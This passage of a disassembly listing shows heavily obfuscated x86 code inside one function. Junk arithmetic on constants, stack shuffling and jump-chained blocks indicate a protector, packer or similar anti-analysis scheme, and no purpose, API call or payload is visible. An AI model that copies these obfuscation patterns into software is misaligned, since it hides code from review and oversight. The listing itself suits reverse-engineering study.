XREF: sub_57DD3A+16721j xor dl, cl xor cl, dl xor dl, cl sub dl, 48h add al, dl pop edx push small 5BA8h jmp loc_590753 ; --------------------------------------------------------------------------- loc_59DF9C: ; CODE XREF: sub_57DD3A+20994j sub esp, 4 jmp loc_5977BE ; --------------------------------------------------------------------------- loc_59DFA4: ; CODE XREF: sub_57DD3A+205A9j pop ebx push eax add [esp+50h+var_50], 40395871h pop ebx jmp loc_5A127F ; --------------------------------------------------------------------------- loc_59DFB3: ; CODE XREF: sub_57DD3A+184F8j mov ecx, 0 jmp loc_594050 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+0Ch+var_E+2] push esi mov esi, esp push ebx mov ebx, 26565890h jmp loc_59A1C6 ; --------------------------------------------------------------------------- loc_59DFCF: ; CODE XREF: sub_57DD3A+1CCC2j mov [esp+14h+var_16+2], ecx jmp loc_59D98D ; --------------------------------------------------------------------------- loc_59DFD7: ; CODE XREF: sub_57DD3A+24932j pop esp jmp loc_59A280 ; --------------------------------------------------------------------------- loc_59DFDD: ; CODE XREF: sub_57DD3A+11FB0j pop esi mov esi, [esp+0Ch+var_E+2] push 4773h jmp loc_597DEE ; --------------------------------------------------------------------------- loc_59DFEB: ; CODE XREF: sub_57DD3A+16F88j mov edi, 54237E09h shl edi, 7 xor edi, 21F007EAh dec edi shr edi, 7 add edi, 35A28549h mov esi, edi pop edi and ebx, esi pop esi sub ebx, 1FCB3E4Dh add ebx, 9842A9C2h sub ecx, ebx pop ebx add ebx, ecx mov ecx, [esp+4Ah+var_4C+2] add esp, 4 sub ebx, 6D076AD9h add ebx, esi add ebx, 6D076AD9h sub ebx, 698458F0h pop esi add ebx, eax push ebp mov ebp, 282E7C2Ah xor ebp, 333C0DC1h sub ebx, ebp jmp loc_59F09C ; --------------------------------------------------------------------------- loc_59E04A: ; CODE XREF: sub_57DD3A+16A83j dec ebp jmp loc_591BD6 ; --------------------------------------------------------------------------- loc_59E050: ; CODE XREF: sub_57DD3A+122E5j push edi mov edi, 56C6CF58h xor ebx, edi pop edi jmp loc_5A3051 ; --------------------------------------------------------------------------- loc_59E05E: ; CODE XREF: sub_57DD3A+21128j push ebx mov ebx, esp jmp loc_59D464 ; --------------------------------------------------------------------------- loc_59E066: ; CODE XREF: sub_57DD3A+16C48j push edx not [esp+18h+var_1A+2] pop edx add edx, 88407F88h add esi, edx pop edx jmp loc_59F9CE ; --------------------------------------------------------------------------- loc_59E079: ; CODE XREF: sub_57DD3A+2336Dj mov esi, 4 add ebx, esi pop esi sub ebx, 4 jmp loc_59802D ; --------------------------------------------------------------------------- loc_59E08C: ; CODE XREF: sub_57DD3A+16CC1j add edi, 48666262h jmp loc_59116E ; --------------------------------------------------------------------------- loc_59E097: ; CODE XREF: sub_57DD3A+10CADj push ebp mov ebp, 498B05C6h shl ebp, 6 jmp loc_58E6C5 ; --------------------------------------------------------------------------- loc_59E0A5: ; CODE XREF: sub_57DD3A+15087j push edx mov dh, 0A1h inc dh shr dh, 5 shl dh, 6 jmp loc_59CF3F ; --------------------------------------------------------------------------- loc_59E0B5: ; CODE XREF: sub_57DD3A+250B2j push edx push 4C70h jmp loc_590024 ; --------------------------------------------------------------------------- loc_59E0C0: ; CODE XREF: sub_57DD3A+21781j pop ecx add ecx, 202448F2h pop ebx and eax, ecx push [esp+22h+var_22] mov ecx, [esp+26h+var_26] add esp, 4 push 56EFh mov [esp+26h+var_26], ebp mov ebp, esp add ebp, 4 jmp loc_59A0A5 ; --------------------------------------------------------------------------- loc_59E0EB: ; CODE XREF: sub_57DD3A+160ACj xchg edi, [esp-4+arg_0] jmp loc_58F8FD ; --------------------------------------------------------------------------- loc_59E0F3: ; CODE XREF: sub_57DD3A+1C584j add ecx, esi pop esi add edx, ecx mov ecx, [esp+26h+var_26] add esp, 4 jmp loc_59A10E ; --------------------------------------------------------------------------- loc_59E103: ; CODE XREF: sub_57DD3A+1D811j mov [esp-6+arg_0+2], edx push 3127h jmp loc_58F51D ; --------------------------------------------------------------------------- loc_59E110: ; CODE XREF: sub_57DD3A+10939j neg ch jmp loc_5A0647 ; --------------------------------------------------------------------------- loc_59E117: ; CODE XREF: sub_57DD3A+1AD8Ej add eax, ebp add eax, 610E0FFFh pop ebp jmp loc_58FF93 ; --------------------------------------------------------------------------- loc_59E124: ; CODE XREF: sub_57DD3A+166E0j pop bx jmp loc_5935C8 ; --------------------------------------------------------------------------- loc_59E12B: ; CODE XREF: sub_57DD3A+17C21j add edi, 0BBC5626h add ebx, 70346F3Ah sub ebx, edi jmp loc_5A2A5D ; --------------------------------------------------------------------------- loc_59E13E: ; CODE XREF: sub_57DD3A+12E8Cj sub ebp, esi pop esi xchg ebp, [esp+54h+var_54] pop esp mov [esp+50h+var_50], edi push 29BFh jmp loc_59317B ; --------------------------------------------------------------------------- loc_59E152: ; CODE XREF: sub_57DD3A+1760Fj push edx jmp loc_59953F ; --------------------------------------------------------------------------- loc_59E158: ; DATA XREF: sub_57DD3A+10372o push [esp+68h+var_68] pop eax push 31D8h mov [esp+6Ch+var_6C], eax jmp loc_599981 ; --------------------------------------------------------------------------- loc_59E169: ; CODE XREF: sub_57DD3A+1BF03j mov ebp, 3B040EA0h add ebx, ebp pop ebp push edx push ebx jmp loc_59C2CF ; --------------------------------------------------------------------------- loc_59E178: ; CODE XREF: sub_57DD3A+21F50j pop eax push 6349h mov [esp+4+var_4], esi push esp jmp loc_597979 ; --------------------------------------------------------------------------- loc_59E187: ; DATA XREF: sub_57DD3A+103D6o push [esp+8+var_8] push [esp+0Ch+var_E+2] jmp loc_59EC51 ; --------------------------------------------------------------------------- loc_59E192: ; CODE XREF: sub_57DD3A+1A2AEj xchg esi, [esp+6Ch+var_6C] pop esp shl byte ptr [esp+68h+var_68], cl pushf jmp loc_59141F ; --------------------------------------------------------------------------- loc_59E19F: ; CODE XREF: sub_57DD3A+12B62j add esi, edx add esi, 1A111839h pop edx push edi mov edi, 4 sub esi, edi pop edi push esi push [esp+36h+var_32] jmp loc_592631 ; --------------------------------------------------------------------------- loc_59E1BB: ; CODE XREF: sub_57DD3A+144ABj pop esp mov [esp+6+var_8+2], esi jmp loc_59217C ; --------------------------------------------------------------------------- loc_59E1C4: ; CODE XREF: sub_57DD3A+24728j mov [esp+6+var_8+2], eax sub esp, 4 mov [esp+0], esi jmp loc_59D32E ; --------------------------------------------------------------------------- loc_59E1D5: ; CODE XREF: sub_57DD3A+1CA91j pop esp mov [esp+4+var_4], ebx push esp push [esp+8+var_8] pop ebx jmp loc_58FB69 ; --------------------------------------------------------------------------- loc_59E1E3: ; CODE XREF: sub_57DD3A+15A1Aj mov ecx, 0E1A0785h or ecx, 625F315Dh shr ecx, 7 sub ecx, 785F5F76h push edx mov edx, 0B5DD2E30h xor ecx, edx jmp loc_591D07 ; --------------------------------------------------------------------------- loc_59E204: ; CODE XREF: sub_57DD3A+16FABj sub ebp, 64D7A0Fh pop edi sub esp, 4 mov [esp+50h+var_50], esi mov esi, 2 add ebp, esi pop esi push ebp jmp loc_59ACDC ; --------------------------------------------------------------------------- loc_59E222: ; CODE XREF: sub_57DD3A+1A395j pop edi jmp loc_59CFC1 ; --------------------------------------------------------------------------- loc_59E228: ; CODE XREF: sub_57DD3A+196B8j pop eax jmp loc_598B7A ; --------------------------------------------------------------------------- loc_59E22E: ; CODE XREF: sub_57DD3A+1129Ej dec ebx jmp loc_59FC50 ; --------------------------------------------------------------------------- loc_59E234: ; CODE XREF: sub_57DD3A+1329Bj add esp, 4 add ecx, ebp sub ecx, 7A484A3Bh push [esp+12h+var_12] jmp loc_5A1A07 ; --------------------------------------------------------------------------- loc_59E247: ; CODE XREF: sub_57DD3A+186BAj add ecx, edx pop edx jmp loc_59AF84 ; --------------------------------------------------------------------------- loc_59E24F: ; CODE XREF: sub_57DD3A+1AD62j add esi, 1E843F39h pop ebp push 61E2h mov [esp+36h+var_36], edi mov edi, 4 add esi, edi pop edi xchg esi, [esp+32h+var_32] jmp loc_5A2059 ; --------------------------------------------------------------------------- loc_59E26E: ; CODE XREF: sub_57DD3A+168F2j sub esi, 5E3651D6h sub esi, 681941B2h jmp loc_5A164D ; --------------------------------------------------------------------------- loc_59E27F: ; CODE XREF: sub_57DD3A+20248j push esi mov esi, esp jmp loc_598422 ; --------------------------------------------------------------------------- loc_59E287: ; CODE XREF: sub_57DD3A+13844j sub edi, 45DF7388h jmp loc_592D2A ; --------------------------------------------------------------------------- loc_59E292: ; CODE XREF: sub_57DD3A+249A4j push [esp+10h+var_12+2] pop edi sub esp, 4 mov [esp+14h+var_16+2], eax push 1F70h mov [esp+18h+var_1A+2], esp add [esp+18h+var_1A+2], 4 mov eax, [esp+18h+var_1A+2] add esp, 4 add eax, 4 push edx jmp loc_59DD05 ; --------------------------------------------------------------------------- loc_59E2BF: ; CODE XREF: sub_57DD3A+1ED41j push [esp+22h+var_1E] pop edi pop [esp+22h+var_22] pop esp shr eax, 0Bh xor ecx, eax jmp loc_5902F4 ; --------------------------------------------------------------------------- loc_59E2D2: ; CODE XREF: sub_57DD3A+16BEDj shr ebx, 6 add ebx, 47494142h xor ebx, 67A49240h mov eax, ebx jmp loc_59DFA4 ; --------------------------------------------------------------------------- loc_59E2E8: ; CODE XREF: sub_57DD3A+1D4C8j mov [esp+0Eh+var_E], ecx jmp loc_59EB47 ; --------------------------------------------------------------------------- loc_59E2F0: ; CODE XREF: sub_57DD3A+10B37j mov eax, esp push edx mov edx, 1CB4243Ch dec edx or edx, 403549C2h jmp loc_591E7E ; --------------------------------------------------------------------------- loc_59E304: ; CODE XREF: sub_57DD3A+21151j xchg ecx, esi not ecx xchg ecx, esi jmp loc_593EAE ; --------------------------------------------------------------------------- loc_59E30F: ; CODE XREF: sub_57DD3A+23521j sub esp, 4 mov [esp+16h+var_16], eax push ebx push 169E430Ah pop ebx inc ebx xor ebx, 516E2A68h mov eax, ebx jmp loc_59549B ; --------------------------------------------------------------------------- loc_59E32A: ; CODE XREF: sub_57DD3A+14845j add ebx, 3F881A13h jmp loc_58ED79 ; --------------------------------------------------------------------------- loc_59E335: ; CODE XREF: sub_57DD3A+13215j mov eax, 0A9947B9Ah jmp loc_5916FA ; --------------------------------------------------------------------------- loc_59E33F: ; CODE XREF: sub_57DD3A+25370j mov esi, [esp+5Ch+var_5C] jmp loc_5A19B4 ; --------------------------------------------------------------------------- loc_59E347: ; CODE XREF: sub_57DD3A+19436j pop ebx add esp, 4 pop ebx add ebx, 3B5B2DEEh jmp loc_594EB0 ; --------------------------------------------------------------------------- loc_59E35A: ; CODE XREF: sub_57DD3A+1B5E6j xchg ebp, [esp+3Ch+var_3E+2] mov esp, [esp+3Ch+var_3E+2] pop [esp+3Ch+var_3E+2] mov esp, [esp+38h+var_3A+2] mov [esp+38h+var_3A+2], edx push edi push 49D97BF2h jmp loc_5A2079 ; --------------------------------------------------------------------------- loc_59E374: ; CODE XREF: sub_57DD3A+23073j push edx mov edx, 254749C9h inc edx add edx, 1D150FC8h jmp loc_59FC8F ; --------------------------------------------------------------------------- loc_59E386: ; CODE XREF: sub_57DD3A+156A4j push ebp mov ebp, 570F09B2h push 7610h mov [esp+8Ch+var_8C], ebp not [esp+8Ch+var_8C] mov ebp, [esp+8Ch+var_8C] add esp, 4 shr ebp, 7 push edi push ecx mov ecx, 0ED64DB8h and ecx, 28981678h inc ecx sub ecx, 22CE5605h add ecx, 0F78A0A57h mov edi, ecx jmp loc_594E76 ; --------------------------------------------------------------------------- loc_59E3C4: ; CODE XREF: sub_57DD3A+119BFj push [esp+84h+var_84] pop esi add esp, 4 add esp, 4 push 464Dh mov [esp+80h+var_80], edx push 10h push [esp+84h+var_84] mov edx, [esp+88h+var_88] add esp, 4 sub esp, 4 jmp loc_58F558 ; --------------------------------------------------------------------------- loc_59E3F2: ; CODE XREF: sub_57DD3A+1F54Fj push 1A3Ah mov [esp+4Ah+var_4C+2], esi jmp loc_59FADD ; --------------------------------------------------------------------------- loc_59E3FF: ; CODE XREF: sub_57DD3A+21044j xchg ah, byte ptr [esp+4Ah+var_4C+3] not ah xchg ah, byte ptr [esp+4Ah+var_4C+3] pop bx jmp loc_591369 ; --------------------------------------------------------------------------- loc_59E410: ; CODE XREF: sub_57DD3A+1E256j push 74C1h mov [esp+6+var_8+2], eax mov ah, bh mov dh, ah push [esp+6+var_8+2] mov eax, [esp] push esi mov esi, esp push ebp mov ebp, 0F6503D4h shr ebp, 8 shl ebp, 3 and ebp, 43407D36h sub ebp, 5200564h add ebp, 4DFDD58h add esi, ebp pop ebp jmp loc_58E535 ; --------------------------------------------------------------------------- loc_59E44B: ; CODE XREF: sub_57DD3A+11247j mov ebx, [esp+36h+var_36] jmp loc_58FE6D ; --------------------------------------------------------------------------- loc_59E453: ; CODE XREF: sub_57DD3A+1AB41j shr ebp, 7 add ebp, 1A1F3C5Dh push edx mov edx, 7DD3289Ch or edx, 6A2D56DFh not edx jmp loc_597575 ; --------------------------------------------------------------------------- loc_59E46F: ; CODE XREF: sub_57DD3A+249F0j add esp, 4 pop ebx jmp loc_59787C ; --------------------------------------------------------------------------- loc_59E47B: ; CODE XREF: sub_57DD3A+1AE04j mov esi, 683553B0h xor esi, 52D62223h dec esi and esi, 79DC626Dh add esi, 373302Fh add esi, 0FFB0CD94h add ebx, esi pop esi sub ebx, 325D004Ch add ebx, eax push eax push edi jmp loc_5966DA ; --------------------------------------------------------------------------- loc_59E4AB: ; CODE XREF: sub_57DD3A+1B22Ej mov eax, esp jmp loc_5A2FD8 ; --------------------------------------------------------------------------- loc_59E4B2: ; CODE XREF: sub_57DD3A+11BBEj dec edi xor edi, 1EFC0CC6h not edi and edi, 49015305h push 0AA8h mov [esp+7Ch+var_7C], ebx mov ebx, 48F47A31h jmp loc_5A2CCD ; --------------------------------------------------------------------------- loc_59E4D3: ; CODE XREF: sub_57DD3A+22E0Fj xor eax, ecx push eax mov eax, esp add eax, 4 jmp loc_5A1036 ; --------------------------------------------------------------------------- loc_59E4E2: ; CODE XREF: sub_57DD3A+19E9Fj push 3D9Bh jmp loc_599FBC ; --------------------------------------------------------------------------- loc_59E4EC: ; CODE XREF: sub_57DD3A+1A907j shr ebp, 7 add ebp, 1B30A879h xor eax, ebp pop ebp jmp loc_5A118A ; --------------------------------------------------------------------------- loc_59E4FD: ; CODE XREF: sub_57DD3A+1D9FFj sub edi, esi add edi, 99D0F40h jmp loc_5947AE ; --------------------------------------------------------------------------- loc_59E50A: ; CODE XREF: sub_57DD3A+252F7j pop ecx jmp loc_5911FB ; --------------------------------------------------------------------------- loc_59E510: ; CODE XREF: sub_57DD3A+1F918j pop ebx or eax, esi pop esi xor eax, 2DDB7CF5h sub ebp, 4E34413Dh add ebp, 58815BBEh sub ebp, 42213505h add ebp, eax add ebp, 42213505h sub ebp, 58815BBEh add ebp, 4E34413Dh mov eax, [esp+42h+var_42] push eax mov eax, esp add eax, 4 jmp loc_59EC7D ; --------------------------------------------------------------------------- loc_59E54F: ; CODE XREF: sub_57DD3A+133D0j pop ebx jmp loc_58F801 ; --------------------------------------------------------------------------- loc_59E555: ; CODE XREF: sub_57DD3A+11EC7j mov esp, [esp+18h+var_1A+2] push 721Ah mov [esp+1Ch+var_1E+2], eax jmp loc_5961D0 ; --------------------------------------------------------------------------- loc_59E565: ; CODE XREF: sub_57DD3A+158ACj push esp pop eax add eax, 4 sub eax, 4 push eax push [esp+48h+var_46+2] jmp loc_594F94 ; --------------------------------------------------------------------------- loc_59E579: ; CODE XREF: sub_57DD3A+1AA8Aj push edi mov edi, 21143054h shr edi, 5 jmp loc_58ED6F ; --------------------------------------------------------------------------- loc_59E587: ; CODE XREF: sub_57DD3A+191F7j add esp, 4 add esp, 4 jmp loc_5962CD ; --------------------------------------------------------------------------- loc_59E595: ; CODE XREF: sub_57DD3A+23726j pop ebx jmp loc_596A2F ; --------------------------------------------------------------------------- loc_59E59B: ; CODE XREF: sub_57DD3A+120BBj push ecx mov ecx, 4 sub ebx, ecx push [esp+3Ah+var_3A] pop ecx add esp, 4 jmp loc_591405 ; --------------------------------------------------------------------------- loc_59E5B2: ; CODE XREF: sub_57DD3A+1342Fj push ebp mov ebp, 2CF53DA2h mov ebx, 57E9DA70h xor ebx, ebp mov ebp, [esp+70h+var_70] add esp, 4 add ebp, ebx jmp loc_590BFB ; --------------------------------------------------------------------------- loc_59E5CF: ; CODE XREF: sub_57DD3A+1B478j add esp, 4 sub esp, 4 mov [esp+4Eh+var_50+2], edi push esp jmp loc_58FEB2 ; --------------------------------------------------------------------------- loc_59E5DE: ; CODE XREF: sub_57DD3A+1B567j shr eax, 8 sub esp, 4 mov [esp+2+var_4+2], ebx mov ebx, 6D330307h jmp loc_591321 ; --------------------------------------------------------------------------- loc_59E5F4: ; CODE XREF: sub_57DD3A+1A9E4j mov ebx, [esp+78h+var_78] add esp, 4 add ax, 5A39h add ax, di sub ax, 5A39h mov edi, [esp+74h+var_74] add esp, 4 sub ax, 2D84h add ax, bx jmp loc_5967C1 ; --------------------------------------------------------------------------- loc_59E617: ; CODE XREF: sub_57DD3A+20D30j add cl, 0Fh and cl, 10h jmp loc_5969A4 ; --------------------------------------------------------------------------- loc_59E622: ; CODE XREF: sub_57DD3A+1DE7Ej add esp, 4 push edx mov edx, 0FFFFFFFFh sub ebp, edx pop edx xor ebp, 46C810FBh jmp loc_59B0DA ; --------------------------------------------------------------------------- loc_59E639: ; CODE XREF: sub_57DD3A+20BC8j mov edi, eax pop eax not edi inc edi and edi, 21DE59AFh push esi mov esi, 633A4237h xor edi, esi jmp loc_58FF27 ; --------------------------------------------------------------------------- loc_59E652: ; CODE XREF: sub_57DD3A+16AB0j or ebx, ebx jnz loc_59810A push eax push 20h push [esp+4Ah+var_4C+2] jmp loc_59A923 ; --------------------------------------------------------------------------- loc_59E668: ; CODE XREF: sub_57DD3A+16BC4j mov ecx, esp jmp loc_58FD3E ; --------------------------------------------------------------------------- loc_59E66F: ; CODE XREF: sub_57DD3A+11259j mov ebp, 75394E82h add ebp, 0FFFFFFFFh xor ebp, 47902C7Ch or edi, ebp pop ebp push edx mov edx, esp add edx, 4 jmp loc_593A63 ; --------------------------------------------------------------------------- loc_59E691: ; CODE XREF: sub_57DD3A+13F41j add al, 0B0h jmp loc_59C85F ; --------------------------------------------------------------------------- loc_59E698: ; CODE XREF: sub_57DD3A+23B53j push [esp+1Eh+var_1A] mov ecx, [esp+22h+var_22] jmp loc_5A1796 ; --------------------------------------------------------------------------- loc_59E6A4: ; CODE XREF: sub_57DD3A+13A1Fj shr eax, 4 not eax dec eax shl eax, 2 xor eax, 0B2538ED8h sub esi, eax jmp loc_590B94 ; --------------------------------------------------------------------------- loc_59E6B9: ; CODE XREF: sub_57DD3A+22D4Aj xchg esi, [esp+58h+var_58] pop esp jmp loc_590BF0 ; --------------------------------------------------------------------------- loc_59E6C2: ; CODE XREF: sub_57DD3A+1F12Cj add esp, 4 add ecx, 4 jmp loc_59DF9C ; --------------------------------------------------------------------------- loc_59E6D3: ; CODE XREF: sub_57DD3A+21176j xchg esi, edx not esi xor edx, esi xor esi, edx xor edx, esi jmp loc_5A21AE ; --------------------------------------------------------------------------- loc_59E6E2: ; CODE XREF: sub_57DD3A+1A694j add esp, 4 push 5CA0h mov [esp+0], edx push ebx mov ebx, esp jmp loc_59CBF4 ; --------------------------------------------------------------------------- loc_59E6F5: ; CODE XREF: sub_57DD3A+22234j pop edi sub edx, 5A800D6Ah add edx, edi add edx, 5A800D6Ah add edx, 4B43081Fh push ebx jmp loc_5A2FB4 ; --------------------------------------------------------------------------- loc_59E710: ; CODE XREF: sub_57DD3A+21695j push edi mov edi, 2EF3109h jmp loc_5950A6 ; --------------------------------------------------------------------------- loc_59E71B: ; CODE XREF: sub_57DD3A+21964j pop esp jmp loc_59CB40 ; --------------------------------------------------------------------------- loc_59E721: ; CODE XREF: sub_57DD3A+1334Cj neg edx push ebx mov ebx, 145227B6h or edx, ebx pop ebx shr edx, 8 and edx, 2C1D751Fh jmp loc_5939F1 ; --------------------------------------------------------------------------- loc_59E73A: ; CODE XREF: sub_57DD3A+12D28j pop edx pop edi and eax, ebx mov ebx, [esp+0Ch+var_E+2] add esp, 4 jmp loc_59D4A0 ; --------------------------------------------------------------------------- loc_59E749: ; CODE XREF: sub_57DD3A+25159j mov edx, 4EE57D37h shr edx, 6 not edx inc edx neg edx xor edx, 3060573Bh shr edx, 8 jmp loc_5963EB ; --------------------------------------------------------------------------- loc_59E764: ; CODE XREF: sub_57DD3A+133DAj add esi, 4 add esi, 4 jmp loc_59B122 ; --------------------------------------------------------------------------- loc_59E775: ; CODE XREF: sub_57DD3A+1A79Cj mov ch, 0ACh xor bh, ch pop cx xor bh, 98h sub bh, 0D6h sub al, bh mov ebx, [esp+0Eh+var_E] add esp, 4 sub al, ch add al, 13h jmp loc_5A20FE ; --------------------------------------------------------------------------- loc_59E795: ; CODE XREF: sub_57DD3A+24D1Ej push ebx sub esp, 4 mov [esp+12h+var_12], edx push 5ECF6095h pop edx xor edx, 0ADA43A0h mov ebx, edx pop edx neg ebx add ebx, 54152339h push esi mov esi, 56EC5143h push edx jmp loc_5902E1 ; --------------------------------------------------------------------------- loc_59E7C2: ; CODE XREF: sub_57DD3A+24868j push eax mov eax, 11B56B90h shl eax, 2 neg eax sub eax, 7D7E68D7h jmp loc_5A16DB ; --------------------------------------------------------------------------- loc_59E7D7: ; CODE XREF: sub_57DD3A+1F87Aj push 588h mov [esp+50h+var_50], ecx mov cl, 19h not cl jmp loc_598FCE ; --------------------------------------------------------------------------- loc_59E7E8: ; CODE XREF: sub_57DD3A+13733j sub ebx, edx pop edx dec ebx push ebp mov ebp, 450945C6h xor ebp, 0B752A8F3h sub ebx, ebp jmp loc_590C89 ; --------------------------------------------------------------------------- loc_59E7FF: ; CODE XREF: sub_57DD3A+1B545j push edx mov edx, 4F264D73h push edx add [esp+84h+var_84], 4A727CC7h pop eax push ebx jmp loc_5947EF ; --------------------------------------------------------------------------- loc_59E814: ; CODE XREF: sub_57DD3A+1B71Bj push edi push 55494E94h mov edi, [esp+2Ch+var_2E+2] add esp, 4 neg edi sub edi, 0AAB6B168h add ecx, 19355CAh add ecx, edi sub ecx, 19355CAh jmp loc_59D603 ; --------------------------------------------------------------------------- loc_59E83B: ; CODE XREF: sub_57DD3A+141AFj and ebp, 18661F4Dh push ebp not [esp+70h+var_70] pop ebp jmp loc_5954EB ; --------------------------------------------------------------------------- loc_59E84B: ; CODE XREF: sub_57DD3A+16AF6j inc ebx push ebx not [esp+58h+var_58] pop ebx not ebx xor ebx, 7557BACAh add ecx, ebx mov ebx, [esp+54h+var_54] add esp, 4 sub ecx, 2 xchg ecx, [esp+50h+var_50] jmp loc_59A108 ; --------------------------------------------------------------------------- loc_59E86F: ; CODE XREF: sub_57DD3A+25188j pop esp jmp loc_5995C9 ; --------------------------------------------------------------------------- loc_59E875: ; CODE XREF: sub_57DD3A+18A82j push edx push ebx mov bh, 0F5h jmp loc_595AD4 ; --------------------------------------------------------------------------- loc_59E87E: ; CODE XREF: sub_57DD3A+21AD6j mov ecx, 64942BC4h not ecx xor ecx, 406217A2h sub ecx, 64247595h jmp loc_58EBA1 ; --------------------------------------------------------------------------- loc_59E896: ; CODE XREF: sub_57DD3A+13CBEj add ebp, 994F1856h add eax, ebp jmp loc_5A0CA8 ; --------------------------------------------------------------------------- loc_59E8A3: ; CODE XREF: sub_57DD3A+1BDA7j add edx, ebx push esi mov esi, 4D701C30h shr esi, 8 or esi, 218464F3h jmp loc_5A141E ; --------------------------------------------------------------------------- loc_59E8B9: ; CODE XREF: sub_57DD3A+184F0j mov ebp, esp jmp loc_5A2F39 ; --------------------------------------------------------------------------- loc_59E8C0: ; CODE XREF: sub_57DD3A+247A9j mov esp, [esp+0Ch+var_E+2] mov fs:[edx], al jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59E8CB: ; CODE XREF: sub_57DD3A+23C5Aj sub ecx, ebp pop ebp shl ecx, 1 xor ecx, 66837B42h xor ecx, 56BEB3B8h push ecx pop esi push [esp+8+var_8] pop ecx jmp loc_595E6E ; --------------------------------------------------------------------------- loc_59E8E7: ; CODE XREF: sub_57DD3A+1675Fj pop esi shr eax, 5 shl eax, 8 push ecx push esi mov esi, 170F179Dh mov ecx, esi pop esi dec ecx sub ecx, 8C13B6C9h xor eax, ecx pop ecx jmp loc_59E639 ; --------------------------------------------------------------------------- loc_59E907: ; CODE XREF: sub_57DD3A+1AD4Fj xor [esp+3Ah+var_3A], ecx jmp loc_5909E4 ; --------------------------------------------------------------------------- loc_59E90F: ; CODE XREF: sub_57DD3A+1B806j pop edx push 5Ch mov [esp+2+var_4+2], ecx jmp loc_591D45 ; --------------------------------------------------------------------------- loc_59E91D: ; CODE XREF: sub_57DD3A+22F88j mov eax, 4 add ebx, eax mov eax, [esp+2+var_4+2] jmp loc_59297C ; --------------------------------------------------------------------------- loc_59E92C: ; CODE XREF: sub_57DD3A+2417Bj xchg edx, [esp+2+var_4+2] pop esp push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp+2+var_4+2] jmp loc_5A1FB8 ; --------------------------------------------------------------------------- loc_59E944: ; CODE XREF: sub_57DD3A+220CEj push [esp+2+var_4+2] mov edi, [esp+6+var_8+2] jmp loc_5955A1 ; --------------------------------------------------------------------------- loc_59E94F: ; CODE XREF: sub_57DD3A+14C91j push ebx mov ebx, 23D2377Eh sub eax, ebx pop ebx jmp loc_5A316D ; --------------------------------------------------------------------------- loc_59E95D: ; CODE XREF: sub_57DD3A+2004Cj add bl, 0B0h add bl, dl sub bl, 0B0h mov edx, [esp+56h+var_58+2] push eax mov eax, esp push ecx mov ecx, 4 add eax, ecx jmp loc_58FCAB ; --------------------------------------------------------------------------- loc_59E978: ; CODE XREF: sub_57DD3A+1DCD8j mov edx, 460C3C98h mov esi, edx pop edx push edx jmp loc_59B5D5 ; --------------------------------------------------------------------------- loc_59E986: ; CODE XREF: sub_57DD3A+23119j mov [esp+24h+var_26+2], edx add byte ptr [esp+24h+var_26+2], 0FFh push [esp+24h+var_26+2] jmp loc_59D01D ; --------------------------------------------------------------------------- loc_59E995: ; CODE XREF: sub_57DD3A+15933j mov esp, [esp+62h+var_64+2] jmp loc_591E62 ; --------------------------------------------------------------------------- loc_59E99D: ; CODE XREF: sub_57DD3A+12DCCj mov edx, 4 sub esi, 56131577h add esi, edx add esi, 56131577h jmp loc_59A2C3 ; --------------------------------------------------------------------------- loc_59E9B5: ; CODE XREF: sub_57DD3A+1D181j mov edi, 0D363EE5h jmp loc_593509 ; --------------------------------------------------------------------------- loc_59E9BF: ; CODE XREF: sub_57DD3A+1AB55j xor ebp, 889108ADh sub ecx, ebp pop ebp or ecx, 716121E4h shr ecx, 3 or ecx, 18C0041Dh jmp loc_5939B8 ; --------------------------------------------------------------------------- loc_59E9DC: ; CODE XREF: sub_57DD3A+1B9ECj xor edx, 688B38DBh or esi, edx pop edx xor esi, 1BC93D15h push ecx mov ecx, 25C74DDCh jmp loc_599DEA ; --------------------------------------------------------------------------- loc_59E9F6: ; CODE XREF: sub_57DD3A+21408j neg eax add eax, 0FFFFFFFFh push 5F28h jmp loc_5934B0 ; --------------------------------------------------------------------------- loc_59EA07: ; CODE XREF: sub_57DD3A+21020j pop ecx push 2FFFh mov [esp+80h+var_80], ebx push edx push 162Fh mov [esp+88h+var_88], ecx mov cl, 0ADh push ecx mov ch, 0A9h mov dl, 5Ch add dl, ch pop ecx sub dl, cl mov ecx, [esp+88h+var_88] add esp, 4 push bx mov bh, 49h xor dl, bh pop bx push ax mov al, dl not al mov dl, al pop ax shr dl, 7 push ebx mov bl, 3Bh shr bl, 4 shl bl, 2 sub bl, 29h sub bl, 9Ch and dl, bl pop ebx jmp loc_59B305 ; --------------------------------------------------------------------------- loc_59EA57: ; CODE XREF: sub_57DD3A+1E05Cj push 3B74h mov [esp-6+arg_0+2], ecx push ebx mov bh, 98h push ebx mov bh, 83h mov cl, 22h add cl, bh pop ebx jmp loc_59E617 ; --------------------------------------------------------------------------- loc_59EA6F: ; CODE XREF: sub_57DD3A+1BF72j push ebx push esp mov ebx, [esp+54h+var_54] jmp loc_590A8C ; --------------------------------------------------------------------------- loc_59EA79: ; CODE XREF: sub_57DD3A+1610Ej xor al, bl push edx push ecx jmp loc_5A1D30 ; --------------------------------------------------------------------------- loc_59EA82: ; CODE XREF: sub_57DD3A+1C377j mov edi, 255C0736h sub edx, edi jmp loc_59EEA1 ; --------------------------------------------------------------------------- loc_59EA8E: ; CODE XREF: sub_57DD3A+22A42j sub ebx, 82B078BFh add edi, 40AE4F03h sub edi, ebx sub edi, 40AE4F03h pop ebx push eax jmp loc_599DA3 ; --------------------------------------------------------------------------- loc_59EAA9: ; CODE XREF: sub_57DD3A+164D1j inc ecx and ecx, 756A08F2h add ecx, 32934D7Dh xor ecx, 1EDC4095h mov eax, ecx pop ecx neg eax push ebx mov ebx, 668F679Eh sub esp, 4 mov [esp+4Ch+var_4C], esi mov esi, 23E349Fh jmp loc_599BDE ; --------------------------------------------------------------------------- loc_59EAD7: ; CODE XREF: sub_57DD3A+127C9j mov ebx, 44464099h not ebx or ebx, 7A87218Bh neg ebx add ebx, 0D7818C57h xor edx, ebx jmp loc_59BCD6 ; --------------------------------------------------------------------------- loc_59EAF3: ; CODE XREF: sub_57DD3A+21AC0j sub eax, ebp jmp loc_593388 ; --------------------------------------------------------------------------- loc_59EAFA: ; CODE XREF: sub_57DD3A+246D4j xor ebp, esi pop esi push ebp jmp loc_598B92 ; --------------------------------------------------------------------------- loc_59EB03: ; CODE XREF: sub_57DD3A+17665j sub ebx, 64B142DEh push esi jmp loc_595C38 ; --------------------------------------------------------------------------- loc_59EB0F: ; 